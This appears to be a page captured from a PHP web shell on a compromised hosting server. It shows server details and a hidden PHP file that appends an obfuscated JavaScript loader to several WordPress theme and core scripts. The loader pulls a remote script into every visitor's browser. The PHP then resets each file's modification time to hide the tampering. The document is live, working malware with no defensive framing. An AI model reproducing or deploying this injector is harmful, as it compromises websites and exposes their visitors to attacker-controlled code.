HEX
Server: LiteSpeed
System: Linux php-prod-3.spaceapp.ru 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC 2025 x86_64
User: xnsbl7462 (1008)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //run/shm/.element
<?php   $r = "/home/isolon64.ru/public_html"; $f = ['/wp-content/themes/daniel/slider/lightGallery.js','/wp-content/themes/daniel/slider/lightslider.js','/wp-content/themes/daniel/basket.js','/wp-content/themes/daniel/main.js','/wp-includes/js/wp-embed.min.js','/wp-content/themes/daniel/noty.js']; $code = rawurldecode('%28function%28k%2Ct%2Ca%2Cw%2Cg%29%7Bw%3Dk.createElement%28t%29%3Bg%3Dk.getElementsByTagName%28t%29%5B0%5D%3Bw.async%3D1%3Bw.src%3Da%3Bg.parentNode.insertBefore%28w%2Cg%29%3B%7D%29%28document%2C%27script%27%2C%27https%3A//content-website-analytics.com/script.js%27%29%3B'); $wr = false; foreach ($f as $p) {     $path = "{$r}/{$p}";     $ft = @filemtime($path);     if (is_file($path) && is_writable($path)) {         $wr = true;         $content = file_get_contents($path);         if (strstr($content, $code)) {             die("!already injected!<f>{$p}</f><ft>{$ft}</ft>");         }         $content = $content . $code;         if(file_put_contents($path, $content)) {             @touch($path, $ft);             $content = file_get_contents($path);             if (strstr($content, $code)) {                 die("!success!<f>{$p}</f><ft>{$ft}</ft>");             }         }     } } if ($wr) {     print("!writable!"); } else {     print("!not writable!"); } die('!ended!');